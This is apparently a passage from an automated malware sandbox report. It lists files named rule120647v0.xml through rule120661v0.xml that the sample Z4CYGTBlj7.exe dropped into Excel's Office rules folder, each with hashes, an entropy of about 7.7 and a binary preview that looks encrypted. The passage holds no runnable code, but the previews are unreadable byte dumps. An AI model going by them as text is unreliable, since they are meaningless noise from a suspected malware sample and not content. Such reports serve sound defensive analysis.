Preview:	<?xmlpB......f....{.\|.4..o^.K!...-ge...3..h...W<.Z..?r.......!.....?;...`.0<E..Y^..~...n..T.t...s......3.'.\|k_.z;...E...I.9...1x.\|2"SA=`..78E.3C`'.j..0......p/.?.....s.n........D2.a..5b.x..`...v2.....0...gW.j...9,.8...8.f.L...+@0..GM.......8..}.,..?.I/(6..L.<...@n....HQ.../,..K..weE.9Fo7:..?..3.........]....7...d...-W.....G_...H/p..n^.'..Y<....._..6m.p..'.D34.~..P.....d.y.p.....U..(.J"..I?r...?"2.X.zF.C%..... .o..q.I"uf...`HJ..;.1.. mj.t.$..Ql8.../T.;{fM.XX\|.".)ot..s...T~.....6..~,..0.e.9.....>..6..!.l7....>....(..W....=.b./.O...m.J.Q.....<m ]"%....U....m..w...c....K..+"d-&)f..0w.n....@.`.>.....m....L..l..l...5....h..<....[0[....Z.9:.p......X.....[F.e\.H.......*C#.{;;...&E8F..p...5..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.753531932001586
Encrypted:	false
SSDEEP:	12:vDUMm45AiIUEpLQPrSJDBQxPSZXGqcrxn6jkt3beQz+V0mBMqMWkIdj50gcjNcQ+:7UuOQEpk+pkSglnmgbaXoEj50LhsbD
MD5:	671A7E6A931B140CFC44B24D611EA028
SHA1:	7E469994F9A7BCB3E6E81FEC0F4753B8733055D4
SHA-256:	4A35DBBB3C611C4492799CD25918E4FF51E271914117BC6C0EDA6C544363985B
SHA-512:	FC37D435BD14B182C6A921D1AC91064D5C21F48C5C864A59CE3CF9F54176452EAB0830CA3C1A86CDC4775954E9A1BA70FD85F8029F2EF640143E829972D279DF
Malicious:	false
Preview:	<?xml...P..g.=.M..d.?...#._.?.u`.{....4..?.A.O.......].]..L.o....._.h.<..-2..@.k.....LL..P-.b..N...%y.a.0;.J..Z.....W.;"...z[.P..pNyit...:.....;..iJ.^b...3....k.g..D......$..}.M.a....X..=.Yw.H.....x.e.........y..s./..j.?-/.mC....8.gf...F{d.v.V.......T...~l.y...Je!.X....v.$....J`L9.f.X.$..$_H.g........./..C.&Y.<..M.^.=.......T:......P;.[...Q.._.-.Q.g.2...r.Ae....?K.U..~a.=.[.....}d.9..f..7.F.d...hTu7....N.).;.1/.o.\.-'.o.cy....0.I].O..S.......l;A0W....c....4.6.o.z.0..O.z....O;... ..F.5...(../&.%...M.4..<~r...M..[/.2'"......J..Z..[.X..^..af3....qG..J...._.>._.).Y....m... n.f.....6.Wj.!Us.Rt...P..<.6.+J....k..~.....}.`..........I...C;.Q..!.M....v..$....UV..}.18Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.77172271464923
Encrypted:	false
SSDEEP:	24:1PKBDKSotIn+WFvyeeSFXtNVKNS86R9/KS2OhSoTmjArsbD:tuoenR6EXT4NS8E9/KW9frmD
MD5:	8F0338F2C8163D26E79F33BC7F2C2ED7
SHA1:	7F462DC0FBB3523A4A867AB7B37D3F17BFD8788F
SHA-256:	366667AE47B1200B6CD33A124E46B7D78DDA8E5A85F20F9F8221FF0321C1ED63
SHA-512:	1843E3D6E22F4B8E014B7A8DD1A0C16CB4EEBD6BB56B77D14FD082E9D67CA17907BF763B6AA690A227FECF24C5FA7F8FB6A6DF2E6B5742BFFBC40B407F633E34
Malicious:	false
Preview:	<?xml..K....?\|...B..~...".$@R....n.&A.1.mnH..f..6/.>.R._.S./O.UNc..B5.\.Ar.L.....l.........Yj3.........f}.d.....+..<....v......kX....u...{@..Z.`.......1.. u4$lAX._...P[...b...T.PW..!....#.'.i.i\|.a&.Xw.)P..~.M.......5h..hc....\|1E..%v$IK.m.w]+.K...b...5.z.......M+..CM.}N.sO...6G..}..pwn.ibd...W...A,#.........t...+s......L7.........o.f..o...K.nC.q>d..;..[u...s...j..Z3...t5..#JO+...]..Hg.qs..\...r.#R.....F...(....>.h.W?...........<...H.a.#...A.........1.r5#..........7.f..TF.E..L.1y......\|..i..Y.@.E.+......<....u.^-.1$m'"X.;.....t......m;k.j^g..U.Z:..Ez..M....d..4]..y......M*....Q......bG.......]z!l.g.;...te!......h>.5e.)!..[!....1^=..Y.;...."......c.?.q>(...q..GN...aD.l..... .`._..i.I.m.J......a.g.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.704053528450751
Encrypted:	false
SSDEEP:	12:jnAG3Opr7bgzw7WGidJEaHRGJA7dB3JDrPMdnOHJdNU8Cfc+qaWGKesuQscii9a:jnlAr4e3idJB7H3RPcOHJnVQqasfsbD
MD5:	92B18098FC17863832682DB41A5AF35C
SHA1:	2A835D1D600BC651619C6C61B5545A34C783CEBD
SHA-256:	94B1D7127A4ADDBFC6E3BC2A904CB5EC154BFF22782B188DCED73F5E6CA914C1
SHA-512:	B506E8036BB390A86243C60372930E6F653650FB089437A68ADB91C6610F270B671AD7E899AF16494F17F748FDC53C83602CB083FD83B67E3B1C3FCDD0430D14
Malicious:	false
Preview:	<?xml.E$...S.q..t?y,O..L..........h..".F..0..C.".8u#....s...,...?.=.w..8...S...fE\|9.R..z.x._.%.u..z....do4..?\|....A.........9.3{..........j.4D.r.!.N.X..[....)d.P...W+..W.#.g.u.....(...B.........I...T.<F...XmA]....% ..q....G.........'h...x...C..$[.........l[.rp.>...FP.&.C..."w.(..w.ToJ.....j..vx.....X....-..q..a..?...K..6..?.g............gA./g.3.V.W...{..(.@...g...5..K......p..?....U6..r...;..'i.....n.TE.%S.$k.3......#X...?O....V.....<a...e3.)`V.?X..r....f..8...d....1....`.U....I...':...o.Fru...]..@:gc.8....o.D."ke._.n..V8f......C..d..-qa. 9.....I.....5...+E.r.....=.-....,.j{.o8.;..h.....Z..}........S....b..@t..A.;.b8N /.+R."...d.....{8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.735962384258799
Encrypted:	false
SSDEEP:	12:U9Ds07XYNQK47tAmpx4Y9lxcKEwQHkeoBWge9nTbSxbahQscii9a:OZEytAmbLP7EHDJKtsbD
MD5:	D0809914735799FC4653D026E7146CBA
SHA1:	B3BC69ACB58DF1E8C73B2BB921489850F9274C44
SHA-256:	5180D6DC766ABC1D77FC25036DD693C7977E20DBB852CFEA853E976B59FABCFA
SHA-512:	CFD8F33D915235858FD3BE31F02159B94E3D32F2DE86D4309A6D234C7C204C835E505D6D482D303E69FC189BA57F10A677CEB1CE37B937EDB5A9DA4D810D4F5A
Malicious:	false
Preview:	<?xml..0....i.X.-/..zT..[.XD.\..b.}vW......lQ.p_w.K.p.".Y.....z'.".....QJ.-.4.\jNb{..Sz..N..;.cm..Bv.C.sm..KwhG.df..A...z...\).]!I.B......T5+1...6....ql2..60.nmei. .+.S.3.\|...W.`..T..^.I..97.....+...<..hf.V8...M..\|a..~...s.5..f<.`1..4[h...\.A.C,..h.i>.k..:I.^.s.J..]..f... ....5c....5..E.....~._..2..:...U...........s..u4-.c......=V.[~%}.-.!]...L+.\|.....0.1....t..[V'[...p.....u.6Q.X....}.fM.... .6^..h...;Ur...;.RYgb.a...'o.^a..1...(...:...&......_.t...3.U.................zr.........y$..H:.qh\....K.a.N.V....../..#..iq....!/.t......c"9.}%.<o.o..+..3.di.[.t...b..N9'..j..>..@*j&..R2..Z..$c..}'..^.'..U.!}..h......C..D.(.6HZ..[..0.~..b.B..=.6.+..&_.N.P..>.:.....{eW.u.....L.C...[.Q.t...k.C....._v..D%...}..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.704326805359527
Encrypted:	false
SSDEEP:	12:nOYfr1POzL1jBAWuHTGZsBPOujGcUPrl0W/VXS9/dXMKHRAJq053kBPLFrittKQ+:fhSLQTBPOuKcUPpPtC9pMKxeMPLRELsX
MD5:	59E5FFA8A5D5A2C209742893A5498D4C
SHA1:	3C02CDE00069CF2BA0C25131AAD8639788E9D5E2
SHA-256:	5C2FC994109A71923537013F7677A7B41AFFD94101291B61BF369B48925919C6
SHA-512:	00FE8AA6BA97210DF48BFCE8DAC7E6DA0DB13C8546814F68029E257A5D24C7DD771E91B82F5DCF59D53A0C792605887E454A0F330B8BACEB57CB9663C1E25C8B
Malicious:	false
Preview:	<?xml...r@Pn+..m'?..s.'y?.%.Z.Y....ll...1Wj....P\.hO.9g..]..."..o..r.:.m.G..t..Z.^...q%.....x$.S...O%0..#..W......?_.i.0.Hlt.`&Gp...r...N...Jp......R.\.>\|...S.....d<.a....(h..v.c..~...Dum.^.H.!.#=...G.....x..m.^{.....(..................d..?..E.{..KW.-n.m....&T....;l}.I.\|ct..'..(K..cq!)`..M.s`)W.S.s.U....8...\|{.[.[4y.^._3/u..+0........W....\|...Cd...T..@.......mM..>...08[N!..D.T...2&^].x...z... ......H....$_h.e.......r_l..&zJC\.}.../+...........5.l.....X]...9 .0..l...Z...}.0..K....:..W.^?.4.'..z....\|l0...!......../_.>..y. ?.........<F.. ....o..j.X.hN.....c..Ss4..yb.Z..........K............4..n..;W...Y.0.y>s<...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.728920306654339
Encrypted:	false
SSDEEP:	12:30c2yWzJDIF/LwtCTYjWhWZeLf3XG0jPaAXDdYxiDKO0PzsDk9/xZ5IQscii9a:30U0DItLACUjXCXG0jNdGbyk9ZZDsbD
MD5:	B15E2C9B4DA673B90EDABC0456C4320C
SHA1:	B4B74778A8BCCB9E0D5C79DA205F6681E4D14D17
SHA-256:	F99F309D22DE602AF59536FB7648C549250AA93C8E79D4D41979FAAE13F12CB7
SHA-512:	8A5DB3BFABBAAD752CAF15F374E37BEC48EDD9DAF0329DC69FC3041D242D19E39DE4E5DD1C2D433AD19A724873152360CE34D8AA40D5F0BB7604D7779CA374E7
Malicious:	false
Preview:	<?xml.6~a.....Sf.\.._..7..~......+.Hr.;:..C..d.g..Z....u....p.G..4.'.....T..[.L.&.?..0P.Sw\...%.~.\|.6....d..l..u^...e8t...HN~].e=".u.::$Q}.{.l...=.L.h........k.T..dY..\|}v..}.6..#...L8v.......7tD.,.u..j\|./.E....v..Ux.^.[...R.......`DG.....2...k.u!RU.}7.8.\|2.O..b.....l.....K..h,.;.z.s.]b_.+...\|.ug...2C...7.4....').b.!....N].L.....g..7k+g.3..@..L.@......G..../.t..A5;f..e9@.N4..={......( .VGT....m.......9>.KUf.....V...p ^.H.....CfP..v.8)f.....,.2B......O.m....G.h..du;.....[..'..t;~..sgYs...k..\|H..M...A.t..\|P.mJ...h[...{.kw-`.....nZ..)a"..........u.z./=(...6.@@.....R..C.-y\|g1Z...wnr.+.....*......j$e.3....5CEc./.d...F....}.)........?V.9...Y8x..R..`...(.f..N.....L.....LD..-HE.P...Y.`.3..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.671434858537746
Encrypted:	false
SSDEEP:	12:+3iHbjp1g/y8TToYKXUoVcJq2ZFkQYyVT5Uz4mfeSnkf+pH0zIrF1blfW7Qsciik:+3iHbs/y+EbEo6XZ6QYyV5Ud2Ss+H0zp
MD5:	258D0DE1AFA9B55A5EA2B629759080CC
SHA1:	BC748BD9F0046C8AEA6B3E7131AD9D5FF40021B7
SHA-256:	F86F7EEC1BA3F9FECE5D606247D1C382CC2F7385FBBC92425FFF94C9F5A88183
SHA-512:	5CF4EF9BBB59CE3BF13492FF04EE86326A9C652183D4C2BD217EEC26D9D77E1A36355568621058D0F4024067161039F9EAA2FD4F901ED08278404B270B3F629F
Malicious:	false
Preview:	<?xml.R..}..j6....(<...-d...._...@?_..w.....?\|.....)I.l.l.a.UDs.DMS..!.:k.j.D...o.(...458xz.Q...+..b.G.G........K..+......,.....'..+<..+...^.D...l/.2....a...m{ysC.i..;..7..,...\$..\!..sd.m.f..l.SB.).....u..dfh...#.{0.G.A......q.X[....g....JGA.....N.m..3..@Uj...Au.,..T....~....H......Dj...P......hj..................B^.....ku0...z..h.ju4.......lo..fP..D.f...G.j....HB0.GC.A..s%Q.2C........_..0X...........$.-5.8.lQzb..,c.k..z\..Lqg.}tZ..g.,Z. ....1...x.K..G..........Q..9?.+..~P.H..".e.B....v^..q{=.{y..!.PR..w......b.....B.F5..XZ..1^. .Q..&.P.....C..$.h.....q5i..[.hg...V...Y...8..u"@.H...s....b...X{y,.....a.....O.O..#............\|.8Lq8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.726895792006129
Encrypted:	false
SSDEEP:	12:k9fomO8ti8KRoHRNB38Wh6TMYTiMX0IZLpiI/ts9mmgdXsrczMCsvk54f3MLaQjG:cAgi8KYt8fTffVoYtaozjH7jfsbD
MD5:	16FB019A4E013CF63B22D5ADC5F39B69
SHA1:	DB4D64E5855762F7630453ADFA445F23E43B8A0D
SHA-256:	A392DEAFD04A915BE6EE222BAECB402A71FED167D06E4BC672CD9B638C9739FE
SHA-512:	B9F1DE3486172F262D9A249A2DB4553D0A80D7146ACBAAFF7D491933D965BF012D060B74747F425F2A261454B19AA3BBEBE6F9AFD057442C3FE98368CFFA6ECC
Malicious:	false
Preview:	<?xmlY...j...P....7H...........Q..~.Pnj......e....T..<....2#..D....<.9...Im,.>y..4&......%.z...L...L....2.X..M.9...x.9.;...1..X...Q....,\|..R6.......=......R.$......T@..... .Si.2I....yn.<.F.?j...Z#....+3g..x.[.....U3...P. "9...!...^>..`..$.s...<.".Aw.`....\........ozK.2hd....{.D .(......_.z....U9.i&.~YW.$l.Y.R.h.oSX.fZ./&..e.<...v.i.Q.=.`c...OU.7F.o0rD......#..?.m\...v.4gO..DFik2....R.....~._R_E.K..2....#M7...]D:.%.G....Y;..0.CA....{6..v01....E=G .F....Qy8T...l.+`1.....B.x..`.r.s.-.V^..GqV@......0h...8.0......-.c.V/.J...../.9.wq.-..j.[.q........tV.W...\|...\|X.-a.l2.....J..`]...mp.+.#:.....b,..0...^.....{.......q..,......c.g...Bf.Z..i.-.c.d....Y..2v....T.S....s....AR.}2.._gm......1aM.Z..f...I..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.686075677646608
Encrypted:	false
SSDEEP:	12:HJBbrgDmL7vyi3r66tzc6nHjCIP1vPt0aHJ1OOdDBcrHaHCJxSRGrWRN+J/wEQQR:P3G87Ki3Vcqn1vhHr/W+HCJUV0lhQFsX
MD5:	4F4605D8E8FD6150601221DFF8AC2CC9
SHA1:	BC9B6B9F7BEE3A6C042016B7C0163BC1FEDEC832
SHA-256:	E5060149142CA2F4C1A7689E4D27B4067672832DC9314713765D48649C050B9E
SHA-512:	5100FA5C196BB1005DDBCC26A63B24B97E4500FC237BB16F71007F58C9AF35C4CC86B10B643A74E5D47B6DC50033C58D4ED345384356127F528B030BFF60C199
Malicious:	false
Preview:	<?xml<._.*..O.H.....E..p......J.A.g..9.W.5....E...N..i.....f..U.C.U...0.QL.....a..MX%8r..Jr..E..f....n...}!..Rh../.>6y..Uy.9.1s.8.)...Xl~Y...\|..'.-AC..s....w...I.U..T#k.KF.wg%Dm.......2x),#`^IM...<.......).2nv.X%N...=f]8g9.@L..P....H.Rx..X.0...W..JBb..M...g.6.gi/...zXg..X.ZgM..j..N2Lu.........1.uS_[..r.].V.,MD.:.?!B..4...dw...L&..........W.:.......... ..!Z6]r.<."u]0B.\6........Xidv.....1.<./t..y'.]..t.:.......W-..@=.).Hv,^b..@\".B4(.l.@>54.R..e5\|..".{.Li[..\W.......8W..T.vj!.k..j..'wL3.X...N.......+..^..2t.#.wJ..........I..%sS..._......o...........4&-.=<`Dd.l.`...[.d.;5^?z{.6..g....V\N.....n".........'<.....`..keS...L.D_.[I....Z.D8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.756031577729159
Encrypted:	false
SSDEEP:	24:8fayAEfzy7GWD224YMdSUvMZVkE9TfHDsbD:8AFaWn08VkE9DjmD
MD5:	D5BCEA962F300E65FE1C3D72AA077812
SHA1:	3DFE5E252F1E42A41DF074A52C2F86362B9AB801
SHA-256:	4DA4B2FD044FD13E01B8585ED41442A16E79FC83997FF52D7A96E61FAF7CA3B4
SHA-512:	35C4CB7C365CB0C33A31C40721F53952E21363E3238A4DA71AD4D44ABC4937EBBAEED16FD4B7DE424A330C7FD613976B037B2F47B42DC93AD3606DA094926023
Malicious:	false
Preview:	<?xml...g\..t......k..M^.s.+..}...=.Q....Z........%-/..@....N.....$....~L...q....NG.......a..>..7B..IEk........%..+....\|.'~{:.E..^....y..g.....NZ.H)m.......bsh?V..}.;...K1).\ ".......:..e....Z..6..q...v../.X.`.{..9......J..>!.W.{.i........x...._{2d.%Gv.....o...$..b.Y.Y.Wi..............r....I]&.G`...n....l..Pa.w.O.p....B.......O.#S..@q.=.,.R..%/F."...W..v.\|..\...3[#.~...0.%....."F!k\|..4...H.).I.0D.85.g..[.wM.9.j.....@...tH.....zE..p........X.....b.'.....zK...u....T>..JJ...I....D...}...\|..Uc... >M.{.g.C. 6.......p,...v.\j.p.fY..6....:S.v5..I.US.M..2..O!..7.\|...N$....=....o....O.K.).=..lPIE..t..41....9O..y.,0=...8..G.y}8.*;<..F..\|/B0#._L2...%.....W.1..x(Ch....t.c.u..a._...........q..sw.N...+..V^8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.683304596477594
Encrypted:	false
SSDEEP:	12:sNvmRycwefSB0OAjsc/uRUgtl4rJoy82AVIe3T1i0GmHLjR7DthPxo2Qscii9a:2pbeDHsz1yAVnjDxrNXtZxo3sbD
MD5:	0464CAF886D0125735586A9C9BC2E3A5
SHA1:	FBE7B1FAA5D9BFE60A156455F2C97C4AB53E7286
SHA-256:	47D96DFF565B2FE94A5C456CE9CB409E833621D3A21508CFED1C40B8C563926B
SHA-512:	1C8718CFD277FDEF5497447E5C9413B073925C46A25A384FE7A278890738F8DB3C65E9AE22260EC73F32714EF93FE478B758C4899B841A677A94229E590E04E3
Malicious:	false
Preview:	<?xmlQ]o.....v........W..C.V....S..q..}bW$wmL...$I..Q.q...:.`\..=..J`..]....#U.E..P.7.R.P..I.<...2..\|C......E@a...}h......}..w...xA.,.$..#.-:...EQ.....X...&XDJ!...9..DKe.u..6K..%./.V.....&~..A..(1.....\|.\....hj.....<{t.0-_...C...,..H...H. .....^....f.v.?..EL.....'C`...k..lmdho... r.w.o......I._..e.Tv Rio.....M...y.....O.-..r<]A.)E.........Lq...Q+Un...].._.......0..6...U.t....A..&..6..u..?..%..QN.\|"...$.\.^.Z.^.26.&?...g..2B&Rt.....2......k.6..O.^...#.E....c...m0...]_....)..5"].7...`.-...j..]t..NM.{L.&..^..3\.i.f.$.r.......<_..<.1....t......?)..Q.......h.[.F.....lGmO.WG.'..........g2v.h..].....JB.KX.D.*#../...eZ.d`8r..!.>8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.695743362303836
Encrypted:	false
SSDEEP:	24:Jf8Uts+2haSvkMh4G4aVogHkKKd05JLBBb76tbJsbD:2Lh3kAv4aV9PGGZQJmD
MD5:	1606F7D105B463FC04B36D4B14339F14
SHA1:	7230D372CC7260A2A3924CDA24F4178B8495A75F
SHA-256:	008B0D5E27CCBA2230C4F366E45AFB84B8C80F995E13A3EE1E89BC077CD29A09
SHA-512:	12702C88D269A8F238946B3FD2DB15FEBF4E8BC18C8842E3531EE60A5305B74048169CF36DCAA0F704B2264379106E53EF32A1D2792C95F0A09AFCEA6622CB54
Malicious:	false
Preview:	<?xml/.G.j?d.N.IP.l.Qs...Kw....G..K4.S...y&..,..k).%..\hL.s./.9.Y.Y\|.YY[.5..K<.......E"r\.Y.s...t.PaF@.L....Rc..'...f...k(.&.R.z96...^......\|r..Q..b...r...IF..5....5....m......`...^......N.#\.J....:.n.9.g-.mjy..`r.M.vo......2...Z....?F..Nh..o.y.....~A...G.D.)...ZmW.......p!#_O.....X.X..Omi<.n.v.fZFF....3.'......g.R.............B.>....'.].}T.D..{h.}h.}f8...P.J...fPR......:...V.D..Q1&.?D....4p.uQ...B<..Mw.'.5&./...GOf].~ZG..-....N.N.aj*.Is..+:..w....G..G.......c.....^.M.v...Q.........=....."9.4.C...)..\\|D......1#...J...../R...N.!.o...1.%@Z......Y..n....0.3.....i..w..X$.R.fJ..^.it....\....A..M.D...8.k..mP....O[......7...ZR.....S.c..W..pa.f..GS....dJ..>.......}R.}.L..$...j7....k..F....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.6962756448297505
Encrypted:	false
SSDEEP:	24:5ei/VSCuhkdQmO9xxgKx/5LKZUp5BCMsbD:5bVDgkqJxxgO/0Up5oMmD
MD5:	5116C5B9EC58FA55384E271B1336D481
SHA1:	884FAC534FD8294D29A15C2C4FE9CEC35D0FC6A6
SHA-256:	A41BB7136A49B8C1D48B3625E3B19470A28B16B2385F67D740BD7C49855402D3
SHA-512:	1EA20068CE82024023E9803834B984A5FFC444460588ACD1D3805F1C4BCFC483C96F15A38266FCF110638A6A9C57855234F458CA4A620C475F37A1313177DDE0
Malicious:	false
Preview:	<?xml....y-l..F.T.....}=.)W.4.n.QG#r&p.?q....;..m..B..-.&..yO.#..[....!...`B...t{.M?.n....^._l......q..\|t=r.&.B.\|..Q....4...E.agA.!+Ncu.... ^P)....N.p..{.. .P...b...z...3.pK.nGi...&......./7L....c.O.A2y...p.F#.o.(a.y.o...p].6K......Z..........P...d..rN9...B~]>.~...c'd$.l`.....)..$.>......B....M.?.i..a.L\_..?p.4t..a...NE...h.KP:k.(.....u...~......[G..0 ..e.".J{ls........W&..YH...>...Tex)..}.+G.d._g.I...d....P.LB....P....n....r>Mt5..(p7Uf.5..&.ir..V..c.N..>.w.]%,.).".....o....Y%.Lp... .ND..#...].......j...-.u.l>.Ae3s...(...Gn...4...Q......../.rW.K[.T..]'\|^+....vX^.X...... Z.y.....\|..X...{.....O...1......c.%3.......x.e..K.Y.@.w:?..ru.K.......Q.V...........U....T.....t1.P&...l...r.....}8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.673391408255206
Encrypted:	false
SSDEEP:	24:tJF4KhAt3Gs9p6LhRbeUFC4AN0x3wfsbD:tJFCtX0xeUFxp9wfmD
MD5:	2DF3E563BCEF17DBB27DD76176DFFB61
SHA1:	9D701F2431CFAC279ECC840029B11CB37783A918
SHA-256:	9A0A5C97537D25C8CF6E98793341F9B1E1E69F059F362DA19B1CBFCD646A1D81
SHA-512:	260248056947C8F03BDF16926CF30E6FD96085C1EAE713D25C57BC220190B08CD4A80315B6A798AA594C13E1F99E0DC2747448FDBEA89B79EEBD22C0A60A9943
Malicious:	false
Preview:	<?xml.!..\\|v..Z.....`........5i.M..5J....o..%..su."N.0Pm..g.pM.[p.?.<.).....F.C:.%.2. E.e6\|}.....\r"..].Y....\...\|..L$.......\|j......,...N..CdK2..J.A$..g...&..p..NrR-.xq..(..."...i.l<.....\|....4p.~..?..i\..#.\e.....H.(0EY.>n.69t.4p..b.:.y...1VD....\|/..&..f.T......{lb..^....'.,.....p~W.t....5.G.\...w.z-9`......g.7.....F...#1....{.....".........^%...u!.Y.{.7..x.D6\.Vz.m.L.8.~m..._lZNcWY8.!...Z..0..$i%..67..."".}S,..0Y......z.^..,.....:.(\...#O\#R....\.[n......].....B.1p...PN..._.....-.0V.`.#...@.1pmG...!..R....P.(.1.1..vI..b..y.+.T..2.k/..xi^..R$'.G..'......p].:..Q.....Y......1....r.-#...7....VW2o.M]_...x....5...z.ah.x0.5^.0."..^z%%.\|^..X.Y..i.5.......p....}...Xu...\|gx.H...\..\|....O.%x..6.?....w8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.698507257415652
Encrypted:	false
SSDEEP:	12:UzMrXr806806vHNHlBOb8LWLjT9tvFOaXc6rB+8RnjIX3R5TFxJkyvav33udRgI0:pvW806/BiTHvMccoB++a1jdaSsbD
MD5:	5CEECA29C8B14C65E9C622D930DD9149
SHA1:	A7DAC2245208466AE3FB7108C02DAF2C127A6AB0
SHA-256:	D46EE136AC4AEA2698CFAE1991F0C8B447B7614C7EA69582701B137A6C0496B6
SHA-512:	950F989A60EEA0E3C61C40F3AB017546E67D0110CAF9ECB46C607D92C25127713332C36F489BDAEC9CDDBDD843E996236EFF39F0329C10365E2A5A7BD56AA164
Malicious:	false
Preview:	<?xml).^.{.~...)..Y..2...L..._...z"H....~/...E.:.3.t.....F.U,a.He...3. =...+....-..%.%AeR...A.v..}y8as..J.T.%...=g.;.....C.1.jK].noP.....z...^.'...%.9=.......:N.e......Z......{.c.Gb..Zy[....'...8.XS..R.d...~H.,.(.`..../...$(SJ....x..9.M&....>...h9..=...Z..g..\...t..........+2/.l...uR#."8...........Y].pp.~U.\..T..g.l..}.!G..d........./...'5l..>....4..*j)H...p._i..O_......^u#B..c3h....-.R.F.b......s.w...@.[^\|.6......(.\|...k.........^..A...._.rHg..Hl..].....N.$....m"....1...2..l.m....5G..BQ.u......1@...Z.k,..Z...,...X.Zr.A....2P...F...\|.....q...H..Xl....4.J..a....<. .5y#^.D.wK.3.......:....F6.....:......."...a.4.....Q..2H...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml

